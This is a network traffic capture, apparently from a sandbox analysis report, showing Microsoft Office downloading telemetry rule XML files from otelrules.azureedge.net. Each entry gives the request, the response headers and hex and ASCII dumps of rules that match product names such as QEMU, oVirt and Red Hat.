2024-10-26 11:46:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.9	49770	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:01 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:01 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114601Z-16849878b78bjkl8dpep89pbgg00000000qg000000006d3z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:01 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.9	49772	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:01 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:01 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114601Z-16849878b78smng4k6nq15r6s400000003e000000000atme x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:02 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.9	49774	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:02 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:02 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114602Z-16849878b785dznd7xpawq9gcn00000003b00000000087zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:02 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.9	49775	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:02 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ee7a308c-c01e-00a1-620b-227e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114602Z-16849878b78fssff8btnns3b14000000026000000000bg5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.9	49776	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:02 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:02 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114602Z-16849878b78j7llf5vkyvvcehs0000000350000000001550 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:02 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.9	49777	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:02 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114602Z-16849878b78j7llf5vkyvvcehs00000002yg00000000de0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.9	49778	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:02 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 25ee231e-901e-0083-60ac-24bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114602Z-15b8d89586fwzdd8urmg0p1ebs0000000c7g000000008mdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.9	49779	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:03 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:03 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d91e6edc-501e-0035-3146-26c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114603Z-15b8d89586f4zwgbgswvrvz4vs0000000380000000002kvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:03 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.9	49780	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:03 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:03 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114603Z-16849878b78j5kdg3dndgqw0vg00000003r0000000005f5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:03 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.9	49781	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:03 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:03 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 42e95d53-401e-0047-28da-268597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114603Z-17c5cb586f6lxnvg801rcb3n8n00000001n0000000007qbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:03 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.9	49782	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:03 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114603Z-17c5cb586f64v7xs992vpxwchg00000001wg0000000081wm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.9	49783	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:03 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
